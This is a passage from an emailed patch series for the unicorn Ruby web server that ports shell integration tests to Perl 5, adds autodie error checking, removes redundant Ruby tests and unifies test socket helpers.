- wait
- echo ok > $ok
- ) | ( sleep 1 && socat - TCP4:$listen > $fifo )
- test 1 -eq $(grep $blob_sha1 $tmp |count_lines)
- test x"$(cat $ok)" = xok
-}
-
-t_begin "regular request" && {
- curl -sSf -T random_blob http://$listen/ > $curl_out 2> $curl_err
- test x$blob_sha1 = x$(cat $curl_out)
- test ! -s $curl_err
-}
-
-t_begin "chunked request" && {
- curl -sSf -T- < random_blob http://$listen/ > $curl_out 2> $curl_err
- test x$blob_sha1 = x$(cat $curl_out)
- test ! -s $curl_err
-}
-
-dbgcat r_err
-
-t_begin "shutdown" && {
- kill $unicorn_pid
-}
-
-t_done
[-- Attachment #10: 0009-tests-use-autodie-to-simplify-error-checking.patch --]
[-- Type: text/x-diff, Size: 8495 bytes --]
From 3a1d015a3859b639d8e4463e9436a49f4f0f720e Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:38 +0000
Subject: [PATCH 09/23] tests: use autodie to simplify error checking
autodie is bundled with Perl 5.10+ and simplifies error
checking in most cases. Some subroutines aren't perfectly
translatable and their call sites had to be tweaked, but
most of them are.
---
t/active-unix-socket.t | 13 +++++++------
t/integration.t | 37 +++++++++++++++++++------------------
t/lib.perl | 30 +++++++++++++++---------------
3 files changed, 41 insertions(+), 39 deletions(-)
diff --git a/t/active-unix-socket.t b/t/active-unix-socket.t
index 6b5c218..1241904 100644
--- a/t/active-unix-socket.t
+++ b/t/active-unix-socket.t
@@ -4,17 +4,18 @@
use v5.14; BEGIN { require './t/lib.perl' };
use IO::Socket::UNIX;
+use autodie;
+no autodie 'kill';
my %to_kill;
END { kill('TERM', values(%to_kill)) if keys %to_kill }
my $u1 = "$tmpdir/u1.sock";
my $u2 = "$tmpdir/u2.sock";
my $unix_req = sub {
my $s = IO::Socket::UNIX->new(Peer => shift, Type => SOCK_STREAM);
- print $s @_, "\r\n\r\n" or die $!;
+ print $s @_, "\r\n\r\n";
$s;
};
{
- use autodie;
open my $fh, '>', "$tmpdir/u1.conf.rb";
print $fh <<EOM;
pid "$tmpdir/u.pid"
@@ -43,8 +44,8 @@ EOM
my @uarg = qw(-D -E none t/integration.ru);
# this pipe will be used to notify us when all daemons die:
-pipe(my ($p0, $p1)) or die "pipe: $!";
-fcntl($p1, POSIX::F_SETFD, 0) or die "fcntl: $!"; # clear FD_CLOEXEC
+pipe(my $p0, my $p1);
+fcntl($p1, POSIX::F_SETFD, 0);
# start the first instance
unicorn('-c', "$tmpdir/u1.conf.rb", @uarg)->join;
@@ -93,8 +94,8 @@ is($pidf, $to_kill{u1}, 'pid file contents unchanged after 2nd start failure');
# restart the first instance
{
- pipe(($p0, $p1)) or die "pipe: $!";
- fcntl($p1, POSIX::F_SETFD, 0) or die "fcntl: $!"; # clear FD_CLOEXEC
+ pipe($p0, $p1);
+ fcntl($p1, POSIX::F_SETFD, 0);
unicorn('-c', "$tmpdir/u1.conf.rb", @uarg)->join;
is($?, 0, 'daemonized 1st process');
chomp($to_kill{u1} = slurp("$tmpdir/u.pid"));
diff --git a/t/integration.t b/t/integration.t
index 8cef561..af17d51 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -5,6 +5,7 @@
# restarting or signals
use v5.14; BEGIN { require './t/lib.perl' };
+use autodie;
my $srv = tcp_server();
my $host_port = tcp_host_port($srv);
my $t0 = time;
@@ -34,7 +35,7 @@ Trailer: Content-MD5\r
EOM
my ($buf, $r);
while (1) {
- $r = read($in, $buf, $bs) // die "read: $!";
+ $r = read($in, $buf, $bs);
last if $r == 0;
printf $out "%x\r\n", length($buf);
print $out $buf, "\r\n";
@@ -54,7 +55,7 @@ EOM
my ($buf, $r, $len);
while ($clen) {
$len = $clen > $bs ? $bs : $clen;
- $r = read($in, $buf, $len) // die "read: $!";
+ $r = read($in, $buf, $len);
die 'premature EOF' if $r == 0;
print $out $buf;
$clen -= $r;
@@ -130,28 +131,28 @@ if ('bad requests') {
like($status, qr!\AHTTP/1\.[01] 400 \b!, 'got 400 on bad request');
$c = tcp_connect($srv);
- print $c 'GET /' or die $!;
+ print $c 'GET /';
my $buf = join('', (0..9), 'ab');
- for (0..1023) { print $c $buf or die $! }
- print $c " HTTP/1.0\r\n\r\n" or die $!;
+ for (0..1023) { print $c $buf }
+ print $c " HTTP/1.0\r\n\r\n";
($status, $hdr) = slurp_hdr($c);
like($status, qr!\AHTTP/1\.[01] 414 \b!,
'414 on REQUEST_PATH > (12 * 1024)');
$c = tcp_connect($srv);
- print $c 'GET /hello-world?a' or die $!;
+ print $c 'GET /hello-world?a';
$buf = join('', (0..9));
- for (0..1023) { print $c $buf or die $! }
- print $c " HTTP/1.0\r\n\r\n" or die $!;
+ for (0..1023) { print $c $buf }
+ print $c " HTTP/1.0\r\n\r\n";
($status, $hdr) = slurp_hdr($c);
like($status, qr!\AHTTP/1\.[01] 414 \b!,
'414 on QUERY_STRING > (10 * 1024)');
$c = tcp_connect($srv);
- print $c 'GET /hello-world#a' or die $!;
+ print $c 'GET /hello-world#a';
$buf = join('', (0..9), 'a'..'f');
- for (0..63) { print $c $buf or die $! }
- print $c " HTTP/1.0\r\n\r\n" or die $!;
+ for (0..63) { print $c $buf }
+ print $c " HTTP/1.0\r\n\r\n";
($status, $hdr) = slurp_hdr($c);
like($status, qr!\AHTTP/1\.[01] 414 \b!, '414 on FRAGMENT > (1024)');
}
@@ -159,7 +160,7 @@ if ('bad requests') {
# input tests
my ($blob_size, $blob_hash);
SKIP: {
- open(my $rh, '<', 't/random_blob') or
+ CORE::open(my $rh, '<', 't/random_blob') or
skip "t/random_blob not generated $!", 1;
$blob_size = -s $rh;
require Digest::SHA;
@@ -167,11 +168,11 @@ SKIP: {
my $ck_hash = sub {
my ($sub, $path, %opt) = @_;
- seek($rh, 0, SEEK_SET) // die "seek: $!";
+ seek($rh, 0, SEEK_SET);
$c = tcp_connect($srv);
$c->autoflush(0);
$PUT{$sub}->($rh, $c, $path, %opt);
- $c->flush or die "flush: $!";
+ $c->flush or die $!;
($status, $hdr) = slurp_hdr($c);
is(readline($c), $blob_hash, "$sub $path");
};
@@ -189,10 +190,10 @@ SKIP: {
my $url = "http://$host_port/rack_input";
my $do_curl = sub {
my (@arg) = @_;
- pipe(my $cout, $copt->{1}) or die "pipe: $!";
- open $copt->{2}, '>', "$tmpdir/curl.err" or die $!;
+ pipe(my $cout, $copt->{1});
+ open $copt->{2}, '>', "$tmpdir/curl.err";
my $cpid = spawn($curl, '-sSf', @arg, $url, $copt);
- close(delete $copt->{1}) or die "close: $!";
+ close(delete $copt->{1});
is(readline($cout), $blob_hash, "curl @arg response");
is(waitpid($cpid, 0), $cpid, "curl @arg exited");
is($?, 0, "no error from curl @arg");
@@ -201,7 +202,7 @@ SKIP: {
$do_curl->(qw(-T t/random_blob));
- seek($rh, 0, SEEK_SET) // die "seek: $!";
+ seek($rh, 0, SEEK_SET);
$copt->{0} = $rh;
$do_curl->('-T-');
}
diff --git a/t/lib.perl b/t/lib.perl
index ae9f197..49632cf 100644
--- a/t/lib.perl
+++ b/t/lib.perl
@@ -4,6 +4,7 @@
package UnicornTest;
use v5.14;
use parent qw(Exporter);
+use autodie;
use Test::More;
use IO::Socket::INET;
use POSIX qw(dup2 _exit setpgid :signal_h SEEK_SET F_SETFD);
@@ -14,7 +15,7 @@ our @EXPORT = qw(unicorn slurp tcp_server tcp_connect unicorn $tmpdir $errfh
my ($base) = ($0 =~ m!\b([^/]+)\.[^\.]+\z!);
$tmpdir = File::Temp->newdir("unicorn-$base-XXXX", TMPDIR => 1);
-open($errfh, '>>', "$tmpdir/err.log") or die "open: $!";
+open($errfh, '>>', "$tmpdir/err.log");
sub tcp_server {
my %opt = (
@@ -62,14 +63,14 @@ sub tcp_connect {
sub start_req {
my ($srv, @req) = @_;
my $c = tcp_connect($srv);
- print $c @req, "\r\n\r\n" or die "print: $!";
+ print $c @req, "\r\n\r\n";
$c;
}
sub slurp {
- open my $fh, '<', $_[0] or die "open($_[0]): $!";
+ open my $fh, '<', $_[0];
local $/;
- <$fh>;
+ readline($fh);
}
sub spawn {
@@ -80,8 +81,8 @@ sub spawn {
my $set = POSIX::SigSet->new;
$set->fillset or die "sigfillset: $!";
sigprocmask(SIG_SETMASK, $set, $old) or die "SIG_SETMASK: $!";
- pipe(my ($r, $w)) or die "pipe: $!";
- my $pid = fork // die "fork: $!";
+ pipe(my $r, my $w);
+ my $pid = fork;
if ($pid == 0) {
close $r;
$SIG{__DIE__} = sub {
@@ -94,9 +95,9 @@ sub spawn {
my $cfd;
for ($cfd = 0; ($cfd < 3) || defined($opt->{$cfd}); $cfd++) {
my $io = $opt->{$cfd} // next;
- my $pfd = fileno($io) // die "fileno($io): $!";
+ my $pfd = fileno($io);
if ($pfd == $cfd) {
- fcntl($io, F_SETFD, 0) // die "F_SETFD: $!";
+ fcntl($io, F_SETFD, 0);
} else {
dup2($pfd, $cfd) // die "dup2($pfd, $cfd): $!";
}
@@ -110,9 +111,7 @@ sub spawn {
setpgid(0, $pgid) // die "setpgid(0, $pgid): $!";
}
$SIG{$_} = 'DEFAULT' for grep(!/^__/, keys %SIG);
- if (defined(my $cd = $opt->{-C})) {
- chdir $cd // die "chdir($cd): $!";
- }
+ if (defined(my $cd = $opt->{-C})) { chdir $cd }
$old->delset(POSIX::SIGCHLD) or die "sigdelset CHLD: $!";
sigprocmask(SIG_SETMASK, $old) or die "SIG_SETMASK: ~CHLD: $!";
@ENV{keys %$env} = values(%$env) if $env;
@@ -162,22 +161,23 @@ sub unicorn {
# automatically kill + reap children when this goes out-of-scope
package UnicornTest::AutoReap;
use v5.14;
+use autodie;
sub new {
my (undef, $pid) = @_;
bless { pid => $pid, owner => $$ }, __PACKAGE__
}
-sub kill {
+sub do_kill {
my ($self, $sig) = @_;
- CORE::kill($sig // 'TERM', $self->{pid});
+ kill($sig // 'TERM', $self->{pid});
}
sub join {
my ($self, $sig) = @_;
my $pid = delete $self->{pid} or return;
- CORE::kill($sig, $pid) if defined $sig;
- my $ret = waitpid($pid, 0) // die "waitpid($pid): $!";
+ kill($sig, $pid) if defined $sig;
+ my $ret = waitpid($pid, 0);
$ret == $pid or die "BUG: waitpid($pid) != $ret";
}
[-- Attachment #11: 0010-port-t0019-max_header_len.sh-to-Perl-5.patch --]
[-- Type: text/x-diff, Size: 5571 bytes --]
From 43c7d73b8b9e6995b5a986b10a8623395e89a538 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:39 +0000
Subject: [PATCH 10/23] port t0019-max_header_len.sh to Perl 5
This was the final socat requirement for integration tests.
I think curl will remain an optional dependency for tests
since it's probably the most widely-installed HTTP client.
---
GNUmakefile | 2 +-
t/README | 7 +-----
t/integration.ru | 1 +
t/integration.t | 43 +++++++++++++++++++++++++++++++---
| 49 ---------------------------------------
5 files changed, 43 insertions(+), 59 deletions(-)
delete mode 100755 t/t0019-max_header_len.sh
diff --git a/GNUmakefile b/GNUmakefile
index 5cca189..eab9082 100644
--- a/GNUmakefile
+++ b/GNUmakefile
@@ -125,7 +125,7 @@ $(T_sh): dep $(test_prereq) t/random_blob t/trash/.gitignore
t/trash/.gitignore : | t/trash
echo '*' >$@
-dependencies := socat curl
+dependencies := curl
deps := $(addprefix t/.dep+,$(dependencies))
$(deps): dep_bin = $(lastword $(subst +, ,$@))
$(deps):
diff --git a/t/README b/t/README
index 8a5243e..d09c715 100644
--- a/t/README
+++ b/t/README
@@ -10,18 +10,13 @@ to test real-world behavior and Ruby introduces incompatibilities
at a far faster rate than Perl 5. Perl is Ruby's older cousin, so
it should be easy-to-learn for Rubyists.
-Old tests are in Bourne shell, but the socat(1) dependency was probably
-too rare compared to Perl 5.
+Old tests are in Bourne shell and slowly being ported to Perl 5.
== Requirements
* {Ruby 2.0.0+}[https://www.ruby-lang.org/en/]
* {Perl 5.14+}[https://www.perl.org/] # your distro should have it
* {GNU make}[https://www.gnu.org/software/make/]
-
-The following requirements will eventually be dropped.
-
-* {socat}[http://www.dest-unreach.org/socat/]
* {curl}[https://curl.haxx.se/]
We do not use bashisms or any non-portable, non-POSIX constructs
diff --git a/t/integration.ru b/t/integration.ru
index 98528f6..edc408c 100644
--- a/t/integration.ru
+++ b/t/integration.ru
@@ -81,6 +81,7 @@ def rack_input_tests(env)
when '/env_dump'; [ 200, {}, [ env_dump(env) ] ]
when '/write_on_close'; write_on_close
when '/pid'; [ 200, {}, [ "#$$\n" ] ]
+ else '/'; [ 200, {}, [ env_dump(env) ] ]
end # case PATH_INFO (GET)
when 'POST'
case env['PATH_INFO']
diff --git a/t/integration.t b/t/integration.t
index af17d51..c687655 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -1,15 +1,19 @@
#!perl -w
# Copyright (C) unicorn hackers <unicorn-public@yhbt.net>
# License: GPL-3.0+ <https://www.gnu.org/licenses/gpl-3.0.txt>
-# this is the main integration test for things which don't require
-# restarting or signals
+
+# This is the main integration test for fast-ish things to minimize
+# Ruby startup time penalties.
use v5.14; BEGIN { require './t/lib.perl' };
use autodie;
my $srv = tcp_server();
my $host_port = tcp_host_port($srv);
my $t0 = time;
-my $ar = unicorn(qw(-E none t/integration.ru), { 3 => $srv });
+my $conf = "$tmpdir/u.conf.rb";
+open my $conf_fh, '>', $conf;
+$conf_fh->autoflush(1);
+my $ar = unicorn(qw(-E none t/integration.ru -c), $conf, { 3 => $srv });
my $curl = which('curl');
END { diag slurp("$tmpdir/err.log") if $tmpdir };
sub slurp_hdr {
@@ -207,7 +211,40 @@ SKIP: {
$do_curl->('-T-');
}
+
# ... more stuff here
+
+# SIGHUP-able stuff goes here
+
+if ('max_header_len internal API') {
+ undef $c;
+ my $req = 'GET / HTTP/1.0';
+ my $len = length($req."\r\n\r\n");
+ my $fifo = "$tmpdir/fifo";
+ POSIX::mkfifo($fifo, 0600) or die "mkfifo: $!";
+ print $conf_fh <<EOM;
+Unicorn::HttpParser.max_header_len = $len
+listen "$host_port" # TODO: remove this requirement for SIGHUP
+after_fork { |_,_| File.open('$fifo', 'w') { |fp| fp.write "pid=#\$\$" } }
+EOM
+ $ar->do_kill('HUP');
+ open my $fifo_fh, '<', $fifo;
+ my $wpid = readline($fifo_fh);
+ like($wpid, qr/\Apid=\d+\z/a , 'new worker ready');
+ close $fifo_fh;
+ $wpid =~ s/\Apid=// or die;
+ ok(CORE::kill(0, $wpid), 'worker PID retrieved');
+
+ $c = start_req($srv, $req);
+ ($status, $hdr) = slurp_hdr($c);
+ like($status, qr!\AHTTP/1\.[01] 200\b!, 'minimal request succeeds');
+
+ $c = start_req($srv, 'GET /xxxxxx HTTP/1.0');
+ ($status, $hdr) = slurp_hdr($c);
+ like($status, qr!\AHTTP/1\.[01] 413\b!, 'big request fails');
+}
+
+
undef $ar;
my @log = slurp("$tmpdir/err.log");
diag("@log") if $ENV{V};
diff --git a/t/t0019-max_header_len.sh b/t/t0019-max_header_len.sh
deleted file mode 100755
index 6a355b4..0000000
--- a/t/t0019-max_header_len.sh
+++ /dev/null
@@ -1,49 +0,0 @@
-#!/bin/sh
-. ./test-lib.sh
-t_plan 5 "max_header_len setting (only intended for Rainbows!)"
-
-t_begin "setup and start" && {
- unicorn_setup
- req='GET / HTTP/1.0\r\n\r\n'
- len=$(printf "$req" | count_bytes)
- echo Unicorn::HttpParser.max_header_len = $len >> $unicorn_config
- unicorn -D -c $unicorn_config env.ru
- unicorn_wait_start
-}
-
-t_begin "minimal request succeeds" && {
- rm -f $tmp
- (
- cat $fifo > $tmp &
- printf "$req"
- wait
- echo ok > $ok
- ) | socat - TCP:$listen > $fifo
- test xok = x$(cat $ok)
-
- fgrep "HTTP/1.1 200 OK" $tmp
-}
-
-t_begin "big request fails" && {
- rm -f $tmp
- (
- cat $fifo > $tmp &
- printf 'GET /xxxxxx HTTP/1.0\r\n\r\n'
- wait
- echo ok > $ok
- ) | socat - TCP:$listen > $fifo
- test xok = x$(cat $ok)
- fgrep "HTTP/1.1 413" $tmp
-}
-
-dbgcat tmp
-
-t_begin "killing succeeds" && {
- kill $unicorn_pid
-}
-
-t_begin "check stderr" && {
- check_stderr
-}
-
-t_done
[-- Attachment #12: 0011-test_exec-drop-sd_listen_fds-emulation-test.patch --]
[-- Type: text/x-diff, Size: 1751 bytes --]
From 5d828a4ef7683345bcf2ff659442fed0a6fb7a97 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:40 +0000
Subject: [PATCH 11/23] test_exec: drop sd_listen_fds emulation test
The Perl 5 tests already rely on this implicitly, and there was
never a point when Perl 5 couldn't emulate systemd behavior.
---
test/exec/test_exec.rb | 33 ---------------------------------
1 file changed, 33 deletions(-)
diff --git a/test/exec/test_exec.rb b/test/exec/test_exec.rb
index 2929b2e..1d3a0fd 100644
--- a/test/exec/test_exec.rb
+++ b/test/exec/test_exec.rb
@@ -97,39 +97,6 @@ def teardown
end
end
- def test_sd_listen_fds_emulation
- # [ruby-core:69895] [Bug #11336] fixed by r51576
- return if RUBY_VERSION.to_f < 2.3
-
- File.open("config.ru", "wb") { |fp| fp.write(HI) }
- sock = TCPServer.new(@addr, @port)
-
- [ %W(-l #@addr:#@port), nil ].each do |l|
- sock.setsockopt(:SOL_SOCKET, :SO_KEEPALIVE, 0)
-
- pid = xfork do
- redirect_test_io do
- # pretend to be systemd
- ENV['LISTEN_PID'] = "#$$"
- ENV['LISTEN_FDS'] = '1'
-
- # 3 = SD_LISTEN_FDS_START
- args = [ $unicorn_bin ]
- args.concat(l) if l
- args << { 3 => sock }
- exec(*args)
- end
- end
- res = hit(["http://#@addr:#@port/"])
- assert_equal [ "HI\n" ], res
- assert_shutdown(pid)
- assert sock.getsockopt(:SOL_SOCKET, :SO_KEEPALIVE).bool,
- 'unicorn should always set SO_KEEPALIVE on inherited sockets'
- end
- ensure
- sock.close if sock
- end
-
def test_inherit_listener_unspecified
File.open("config.ru", "wb") { |fp| fp.write(HI) }
sock = TCPServer.new(@addr, @port)
[-- Attachment #13: 0012-test_exec-drop-test_basic-and-test_config_ru_alt_pat.patch --]
[-- Type: text/x-diff, Size: 1667 bytes --]
From 548593c6b3d52a4bebd52542ad9c423ed2b7252d Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:41 +0000
Subject: [PATCH 12/23] test_exec: drop test_basic and test_config_ru_alt_path
We already have coverage for these basic things elsewhere.
---
test/exec/test_exec.rb | 24 ------------------------
1 file changed, 24 deletions(-)
diff --git a/test/exec/test_exec.rb b/test/exec/test_exec.rb
index 1d3a0fd..55f828e 100644
--- a/test/exec/test_exec.rb
+++ b/test/exec/test_exec.rb
@@ -265,16 +265,6 @@ def test_exit_signals
end
end
- def test_basic
- File.open("config.ru", "wb") { |fp| fp.syswrite(HI) }
- pid = fork do
- redirect_test_io { exec($unicorn_bin, "-l", "#{@addr}:#{@port}") }
- end
- results = retry_hit(["http://#{@addr}:#{@port}/"])
- assert_equal String, results[0].class
- assert_shutdown(pid)
- end
-
def test_rack_env_unset
File.open("config.ru", "wb") { |fp| fp.syswrite(SHOW_RACK_ENV) }
pid = fork { redirect_test_io { exec($unicorn_bin, "-l#@addr:#@port") } }
@@ -638,20 +628,6 @@ def test_read_embedded_cli_switches
assert_shutdown(pid)
end
- def test_config_ru_alt_path
- config_path = "#{@tmpdir}/foo.ru"
- File.open(config_path, "wb") { |fp| fp.syswrite(HI) }
- pid = fork do
- redirect_test_io do
- Dir.chdir("/")
- exec($unicorn_bin, "-l#{@addr}:#{@port}", config_path)
- end
- end
- results = retry_hit(["http://#{@addr}:#{@port}/"])
- assert_equal String, results[0].class
- assert_shutdown(pid)
- end
-
def test_load_module
libdir = "#{@tmpdir}/lib"
FileUtils.mkpath([ libdir ])
[-- Attachment #14: 0013-tests-check_stderr-consistently-in-Perl-5-tests.patch --]
[-- Type: text/x-diff, Size: 2415 bytes --]
From cd7ee67fc8ebadec9bdd913d49ed3f214596ea47 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:42 +0000
Subject: [PATCH 13/23] tests: check_stderr consistently in Perl 5 tests
The Bourne shell tests did, so lets not let stuff sneak past us.
---
t/active-unix-socket.t | 5 ++---
t/integration.t | 7 ++-----
t/lib.perl | 10 +++++++++-
3 files changed, 13 insertions(+), 9 deletions(-)
diff --git a/t/active-unix-socket.t b/t/active-unix-socket.t
index 1241904..c132dc2 100644
--- a/t/active-unix-socket.t
+++ b/t/active-unix-socket.t
@@ -20,7 +20,7 @@ my $unix_req = sub {
print $fh <<EOM;
pid "$tmpdir/u.pid"
listen "$u1"
-stderr_path "$tmpdir/err1.log"
+stderr_path "$tmpdir/err.log"
EOM
close $fh;
@@ -113,6 +113,5 @@ is($pidf, $to_kill{u1}, 'pid file contents unchanged after 2nd start failure');
ok(-S $u1, 'socket stays after SIGTERM');
}
-my @log = slurp("$tmpdir/err.log");
-diag("@log") if $ENV{V};
+check_stderr;
done_testing;
diff --git a/t/integration.t b/t/integration.t
index c687655..939dc24 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -246,11 +246,8 @@ EOM
undef $ar;
-my @log = slurp("$tmpdir/err.log");
-diag("@log") if $ENV{V};
-my @err = grep(!/NameError.*Unicorn::Waiter/, grep(/error/i, @log));
-is_deeply(\@err, [], 'no unexpected errors in stderr');
-is_deeply([grep(/SIGKILL/, @log)], [], 'no SIGKILL in stderr');
+
+check_stderr;
undef $tmpdir;
done_testing;
diff --git a/t/lib.perl b/t/lib.perl
index 49632cf..315ef2d 100644
--- a/t/lib.perl
+++ b/t/lib.perl
@@ -11,12 +11,20 @@ use POSIX qw(dup2 _exit setpgid :signal_h SEEK_SET F_SETFD);
use File::Temp 0.19 (); # 0.19 for ->newdir
our ($tmpdir, $errfh);
our @EXPORT = qw(unicorn slurp tcp_server tcp_connect unicorn $tmpdir $errfh
- SEEK_SET tcp_host_port start_req which spawn);
+ SEEK_SET tcp_host_port start_req which spawn check_stderr);
my ($base) = ($0 =~ m!\b([^/]+)\.[^\.]+\z!);
$tmpdir = File::Temp->newdir("unicorn-$base-XXXX", TMPDIR => 1);
open($errfh, '>>', "$tmpdir/err.log");
+sub check_stderr () {
+ my @log = slurp("$tmpdir/err.log");
+ diag("@log") if $ENV{V};
+ my @err = grep(!/NameError.*Unicorn::Waiter/, grep(/error/i, @log));
+ is_deeply(\@err, [], 'no unexpected errors in stderr');
+ is_deeply([grep(/SIGKILL/, @log)], [], 'no SIGKILL in stderr');
+}
+
sub tcp_server {
my %opt = (
ReuseAddr => 1,
[-- Attachment #15: 0014-tests-consistent-tcp_start-and-unix_start-across-Per.patch --]
[-- Type: text/x-diff, Size: 8017 bytes --]
From 0dcd8bd569813a175ad43837db3ab07019a95b99 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:43 +0000
Subject: [PATCH 14/23] tests: consistent tcp_start and unix_start across Perl
5 tests
I'll be using Unix sockets more in tests since there's no
risk of system-wide conflicts with TCP port allocation.
Furthermore, curl supports `--unix-socket' nowadays; so
there's little reason to rely on TCP sockets and the conflicts
they bring in tests.
---
t/active-unix-socket.t | 13 ++++---------
t/integration.t | 28 ++++++++++++++--------------
t/lib.perl | 30 ++++++++++++++++--------------
3 files changed, 34 insertions(+), 37 deletions(-)
diff --git a/t/active-unix-socket.t b/t/active-unix-socket.t
index c132dc2..8723137 100644
--- a/t/active-unix-socket.t
+++ b/t/active-unix-socket.t
@@ -10,11 +10,6 @@ my %to_kill;
END { kill('TERM', values(%to_kill)) if keys %to_kill }
my $u1 = "$tmpdir/u1.sock";
my $u2 = "$tmpdir/u2.sock";
-my $unix_req = sub {
- my $s = IO::Socket::UNIX->new(Peer => shift, Type => SOCK_STREAM);
- print $s @_, "\r\n\r\n";
- $s;
-};
{
open my $fh, '>', "$tmpdir/u1.conf.rb";
print $fh <<EOM;
@@ -53,7 +48,7 @@ is($?, 0, 'daemonized 1st process');
chomp($to_kill{u1} = slurp("$tmpdir/u.pid"));
like($to_kill{u1}, qr/\A\d+\z/s, 'read pid file');
-chomp(my $worker_pid = readline($unix_req->($u1, 'GET /pid')));
+chomp(my $worker_pid = readline(unix_start($u1, 'GET /pid')));
like($worker_pid, qr/\A\d+\z/s, 'captured worker pid');
ok(kill(0, $worker_pid), 'worker is kill-able');
@@ -65,7 +60,7 @@ isnt($?, 0, 'conflicting PID file fails to start');
chomp(my $pidf = slurp("$tmpdir/u.pid"));
is($pidf, $to_kill{u1}, 'pid file contents unchanged after start failure');
-chomp(my $pid2 = readline($unix_req->($u1, 'GET /pid')));
+chomp(my $pid2 = readline(unix_start($u1, 'GET /pid')));
is($worker_pid, $pid2, 'worker PID unchanged');
@@ -73,7 +68,7 @@ is($worker_pid, $pid2, 'worker PID unchanged');
unicorn('-c', "$tmpdir/u3.conf.rb", @uarg)->join;
isnt($?, 0, 'conflicting UNIX socket fails to start');
-chomp($pid2 = readline($unix_req->($u1, 'GET /pid')));
+chomp($pid2 = readline(unix_start($u1, 'GET /pid')));
is($worker_pid, $pid2, 'worker PID still unchanged');
chomp($pidf = slurp("$tmpdir/u.pid"));
@@ -101,7 +96,7 @@ is($pidf, $to_kill{u1}, 'pid file contents unchanged after 2nd start failure');
chomp($to_kill{u1} = slurp("$tmpdir/u.pid"));
like($to_kill{u1}, qr/\A\d+\z/s, 'read pid file');
- chomp($pid2 = readline($unix_req->($u1, 'GET /pid')));
+ chomp($pid2 = readline(unix_start($u1, 'GET /pid')));
like($pid2, qr/\A\d+\z/, 'worker running');
ok(kill('TERM', delete $to_kill{u1}), 'SIGTERM restarted daemon');
diff --git a/t/integration.t b/t/integration.t
index 939dc24..b33e3c3 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -70,7 +70,7 @@ EOM
my ($c, $status, $hdr);
# response header tests
-$c = start_req($srv, 'GET /rack-2-newline-headers HTTP/1.0');
+$c = tcp_start($srv, 'GET /rack-2-newline-headers HTTP/1.0');
($status, $hdr) = slurp_hdr($c);
like($status, qr!\AHTTP/1\.[01] 200\b!, 'status line valid');
my $orig_200_status = $status;
@@ -89,7 +89,7 @@ SKIP: { # Date header check
};
-$c = start_req($srv, 'GET /rack-3-array-headers HTTP/1.0');
+$c = tcp_start($srv, 'GET /rack-3-array-headers HTTP/1.0');
($status, $hdr) = slurp_hdr($c);
is_deeply([ grep(/^x-r3: /, @$hdr) ],
[ 'x-r3: a', 'x-r3: b', 'x-r3: c' ],
@@ -97,7 +97,7 @@ is_deeply([ grep(/^x-r3: /, @$hdr) ],
SKIP: {
eval { require JSON::PP } or skip "JSON::PP missing: $@", 1;
- my $c = start_req($srv, 'GET /env_dump');
+ my $c = tcp_start($srv, 'GET /env_dump');
my $json = do { local $/; readline($c) };
unlike($json, qr/^Connection: /smi, 'no connection header for 0.9');
unlike($json, qr!\AHTTP/!s, 'no HTTP/1.x prefix for 0.9');
@@ -107,17 +107,17 @@ SKIP: {
}
# cf. <CAO47=rJa=zRcLn_Xm4v2cHPr6c0UswaFC_omYFEH+baSxHOWKQ@mail.gmail.com>
-$c = start_req($srv, 'GET /nil-header-value HTTP/1.0');
+$c = tcp_start($srv, 'GET /nil-header-value HTTP/1.0');
($status, $hdr) = slurp_hdr($c);
is_deeply([grep(/^X-Nil:/, @$hdr)], ['X-Nil: '],
'nil header value accepted for broken apps') or diag(explain($hdr));
if ('TODO: ensure Rack::Utils::HTTP_STATUS_CODES is available') {
- $c = start_req($srv, 'POST /tweak-status-code HTTP/1.0');
+ $c = tcp_start($srv, 'POST /tweak-status-code HTTP/1.0');
($status, $hdr) = slurp_hdr($c);
like($status, qr!\AHTTP/1\.[01] 200 HI\b!, 'status tweaked');
- $c = start_req($srv, 'POST /restore-status-code HTTP/1.0');
+ $c = tcp_start($srv, 'POST /restore-status-code HTTP/1.0');
($status, $hdr) = slurp_hdr($c);
is($status, $orig_200_status, 'original status restored');
}
@@ -130,12 +130,12 @@ SKIP: {
}
if ('bad requests') {
- $c = start_req($srv, 'GET /env_dump HTTP/1/1');
+ $c = tcp_start($srv, 'GET /env_dump HTTP/1/1');
($status, $hdr) = slurp_hdr($c);
like($status, qr!\AHTTP/1\.[01] 400 \b!, 'got 400 on bad request');
- $c = tcp_connect($srv);
- print $c 'GET /';
+ $c = tcp_start($srv);
+ print $c 'GET /';;
my $buf = join('', (0..9), 'ab');
for (0..1023) { print $c $buf }
print $c " HTTP/1.0\r\n\r\n";
@@ -143,7 +143,7 @@ if ('bad requests') {
like($status, qr!\AHTTP/1\.[01] 414 \b!,
'414 on REQUEST_PATH > (12 * 1024)');
- $c = tcp_connect($srv);
+ $c = tcp_start($srv);
print $c 'GET /hello-world?a';
$buf = join('', (0..9));
for (0..1023) { print $c $buf }
@@ -152,7 +152,7 @@ if ('bad requests') {
like($status, qr!\AHTTP/1\.[01] 414 \b!,
'414 on QUERY_STRING > (10 * 1024)');
- $c = tcp_connect($srv);
+ $c = tcp_start($srv);
print $c 'GET /hello-world#a';
$buf = join('', (0..9), 'a'..'f');
for (0..63) { print $c $buf }
@@ -173,7 +173,7 @@ SKIP: {
my $ck_hash = sub {
my ($sub, $path, %opt) = @_;
seek($rh, 0, SEEK_SET);
- $c = tcp_connect($srv);
+ $c = tcp_start($srv);
$c->autoflush(0);
$PUT{$sub}->($rh, $c, $path, %opt);
$c->flush or die $!;
@@ -235,11 +235,11 @@ EOM
$wpid =~ s/\Apid=// or die;
ok(CORE::kill(0, $wpid), 'worker PID retrieved');
- $c = start_req($srv, $req);
